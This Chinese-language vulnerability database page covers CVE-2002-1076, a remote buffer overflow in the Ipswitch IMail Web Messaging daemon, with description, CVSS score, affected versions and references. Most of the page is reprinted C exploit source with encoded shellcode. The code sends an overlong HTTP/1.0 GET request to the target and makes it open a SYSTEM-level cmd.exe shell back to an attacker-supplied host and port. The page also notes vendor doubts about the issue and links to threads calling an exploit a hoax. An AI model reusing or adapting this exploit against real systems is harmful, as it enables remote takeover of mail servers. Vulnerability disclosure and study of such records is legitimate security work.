CVE-2002-1076
CVSS7.5
发布时间 :2002-10-04 00:00:00
修订时间 :2008-09-05 16:29:42
NMCOE    

[原文]Buffer overflow in the Web Messaging daemon for Ipswitch IMail before 7.12 allows remote attackers to execute arbitrary code via a long HTTP GET request for HTTP/1.0.


[CNNVD]IPSwitch IMail Web Messaging守护程序HTTP GET远程缓冲区溢出漏洞(CNNVD-200210-145)

        
        IMail是一款由Ipswitch公司开发和维护的商业电子邮件服务程序,IMail可使用在Microsoft windows操作系统下。
        IMail的Web Messaging守护程序在处理HTTP/1.0 GET请求时对参数缺少正确的检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击。
        IMail的Web Messaging守护程序在处理HTTP/1.0类型GET请求时缺少正确的缓冲边界检查,攻击者可以提交包含超过96个字节的字符串作为GET的参数请求给Web Messaging守护程序处理,可导致产生缓冲区溢出,精心构建提交的字符串数据可以IMail WEB Messaging守护程序进程的权限在系统中执行任意指令。
        IMail的Web Messaging守护程序在处理HTTP/0.9 & HTTP/1.1 GET请求时不存在此漏洞。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:ipswitch:imail:7.0.7Ipswitch IMail 7.0.7
cpe:/a:ipswitch:imail:6.2Ipswitch IMail 6.2
cpe:/a:ipswitch:imail:7.1Ipswitch IMail 7.1
cpe:/a:ipswitch:imail:7.0.5Ipswitch IMail 7.0.5
cpe:/a:ipswitch:imail:6.4Ipswitch IMail 6.4
cpe:/a:ipswitch:imail:6.1Ipswitch IMail 6.1
cpe:/a:ipswitch:imail:6.3Ipswitch IMail 6.3
cpe:/a:ipswitch:imail:7.0.6Ipswitch IMail 7.0.6
cpe:/a:ipswitch:imail:7.0.4Ipswitch IMail 7.0.4
cpe:/a:ipswitch:imail:7.0.2Ipswitch IMail 7.0.2
cpe:/a:ipswitch:imail:7.0.3Ipswitch IMail 7.0.3
cpe:/a:ipswitch:imail:7.0.1Ipswitch IMail 7.0.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1076
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1076
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200210-145
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/5323
(VENDOR_ADVISORY)  BID  5323
http://www.iss.net/security_center/static/9679.php
(VENDOR_ADVISORY)  XF  imail-web-messaging-bo(9679)
http://support.ipswitch.com/kb/IM-20020731-DM02.htm
(UNKNOWN)  CONFIRM  http://support.ipswitch.com/kb/IM-20020731-DM02.htm
http://support.ipswitch.com/kb/IM-20020729-DM01.htm
(UNKNOWN)  CONFIRM  http://support.ipswitch.com/kb/IM-20020729-DM01.htm
http://archives.neohapsis.com/archives/bugtraq/2002-07/0368.html
(UNKNOWN)  BUGTRAQ  20020729 Re: Hoax Exploit (2c79cbe14ac7d0b8472d3f129fa1df55 RETURNS)
http://archives.neohapsis.com/archives/bugtraq/2002-07/0363.html
(UNKNOWN)  BUGTRAQ  20020729 Hoax Exploit
http://archives.neohapsis.com/archives/bugtraq/2002-07/0326.html
(UNKNOWN)  BUGTRAQ  20020725 IPSwitch IMail ADVISORY/EXPLOIT/PATCH

- 漏洞信息

IPSwitch IMail Web Messaging守护程序HTTP GET远程缓冲区溢出漏洞
高危 未知
2002-10-04 00:00:00 2005-05-02 00:00:00
远程  
        
        IMail是一款由Ipswitch公司开发和维护的商业电子邮件服务程序,IMail可使用在Microsoft windows操作系统下。
        IMail的Web Messaging守护程序在处理HTTP/1.0 GET请求时对参数缺少正确的检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击。
        IMail的Web Messaging守护程序在处理HTTP/1.0类型GET请求时缺少正确的缓冲边界检查,攻击者可以提交包含超过96个字节的字符串作为GET的参数请求给Web Messaging守护程序处理,可导致产生缓冲区溢出,精心构建提交的字符串数据可以IMail WEB Messaging守护程序进程的权限在系统中执行任意指令。
        IMail的Web Messaging守护程序在处理HTTP/0.9 & HTTP/1.1 GET请求时不存在此漏洞。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        2c79cbe14ac7d0b8472d3f129fa1df (c79cbe14ac7d0b8472d3f129fa1df55_at_yahoo.com)提供了如下第三方补丁:
        
        http://archives.neohapsis.com/archives/bugtraq/2002-07/att-0326/02-impatch.zip

        厂商补丁:
        Ipswitch
        --------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.ipswitch.com/

- 漏洞信息 (21654)

IPSwitch IMail 6.x/7.0/7.1 Web Messaging HTTP Get Buffer Overflow Vulnerability (EDBID:21654)
windows remote
2002-07-25 Verified
0 Anonymous
N/A [点击下载]
source: http://www.securityfocus.com/bid/5323/info

IMail is a commercial email server software package distributed and maintained by Ipswitch, Incorporated. IMail is available for Microsoft Operating Systems.

The web messaging server is vulnerable to a buffer overflow. When the server receives a request for HTTP version 1.0, and the total request is 96 bytes or greater, a buffer overflow occurs. This could result in the execution of attacker-supplied instructions, and potentially allow an attacker to gain local access.

** Ipswitch has reported they are unable to reproduce this issue. In addition, Ipswitch has stated that the supplied, third party patch may in fact open additional vulnerabilities in the product. Ipswitch suggests that users do not apply the supplied patch.

/*
        imailexp.c
        July 25th, 2002

        IPSwitch IMail 7.11 remote 'SYSTEM' exploit

        there is an overflow in the GET parameter under the HTTP/1.0
        specification in the Web Messaging daemon in all IMail versions
        to date

        <96 bytes><EBP><EIP>
	
	since none of the registers point to our payload on ret some
	trickery was necessary to hit our payload in a dynamic way,
	but nothing difficult..

	execution flow:	
	eip overran, ret (esp-4) -> land at pop ebx, ret10 (esp-18) -> call esp	
	reach corrupted payload	

	preserve esp -> sub esp -> jmp esp	
	preserve esp, and jump to good payload

	recover esp -> execute shell
	let shit fly

        "In 1995, Ipswitch released IMail Server, the first commercial NT Mail Server.
        Seven years later there are over 49 million users of IMail worldwide.

        IMail Server 7.1
        Greater security, improved usability, and new revenue opportunities for service
        providers."

        7 years in development, 20 minutes of BuffSex v0.3(tm), 4 remote 'root' holes

        2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/errno.h>
#include <unistd.h>

// dark spyrit's shell as per usual.. queerly modified to call ExitThread
// yet again.. all that shit on top is to get us home
unsigned char payload[] =
"\x47\x45\x54\x20\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x24\x01\x10\x90\x90\x90\x90\x13\xf7\x02\x10"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x8b\xfc\x81\xc4\x11\x11\x11\x11\x81\xec"
"\x50\xdd\x10\x11\xff\xe4\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x8b\xe7\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
"\x8b\xc5\x33\xc9\x66\xb9\xdb\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
"\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
"\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
"\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
"\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
"\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
"\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
"\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2"
"\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
"\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
"\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
"\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5"
"\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
"\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x80\x26\x52\xd2\x91\x55\x3d\x95\x94"
"\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
"\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
"\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
"\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0"
"\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd"
"\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1"
"\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e"
"\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc3\x98\xa6\x55\x39\x10\x55\xe0\x6c\xc4"
"\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6"
"\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
"\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6"
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
"\xc6\xf9\xf0\xf0\xe5\x95\xed\xed\xed\xed\xed\xed\xed\xed\xed\xed\xed\x95"
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\xc9\x1d\xdc\x95\x20\x48\x54\x54\x50\x2F\x31\x2E\x30\x0d"
"\x0a\x0d\x0a";

main(char argc, char **argv){
	unsigned long ah;
	unsigned short int ap;
        int fd, i;
        int bufsize = 1024;
        int *buffer = (int *)malloc(bufsize);
        struct sockaddr_in sin;
        struct hostent *he;
        struct in_addr in;

	printf("IMail 7.11 remote exploit (SYSTEM level)\n");
	printf("2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)\n\n");

        if (argc < 5){
                printf("usage: %s <targethost> <iwebport> <localhost> <localport>\n\n", argv[0]);
                printf("iwebport: IMail Web Messaging port (default 8383)\n\n");
                exit(-1);
        }

        ap  = htons(atoi(argv[4]));
        ap ^= 0x9595;

        if ((he = gethostbyname(argv[3])) == 0){herror(argv[2]);exit(-1);}

        ah  = *((unsigned long *)he->h_addr);
        ah ^= 0x95959595;
                                
        payload[747] = ((ap) & 0xff);
        payload[748] = ((ap >> 8) & 0xff);
        
        payload[752] = ((ah) & 0xff);
        payload[753] = ((ah >> 8) & 0xff);
        payload[754] = ((ah >> 16) & 0xff);
        payload[755] = ((ah >> 24) & 0xff);

	if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}
	
	if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr, he->h_length);}
	else
	if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve host");exit(-1);}

        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr(inet_ntoa(in));
        sin.sin_port = htons(atoi(argv[2]));
		
	printf("ret: 0x10012490 (IMailsec.dll v.2.6.17.28)\n\n");
	printf("connecting...");

	if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){perror("connection error");exit(-1);}
	
	printf("done.\n");
	
	sleep(1);
	
	printf("dumping payload...");
	if(write(fd, payload, strlen(payload)) < strlen(payload)){perror("write error");exit(-1);}
	printf("done.\n\n");

	printf("cmd.exe spawned to [%s:%s]\n\n", argv[3], argv[4]);
	
	close(fd);

}		

- 漏洞信息

4990
Ipswitch IMail Web Messaging HTTP GET Request Handling Remote Overflow
Input Manipulation
Loss of Integrity

- 漏洞描述

- 时间线

2002-07-25 Unknow
2002-07-25 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站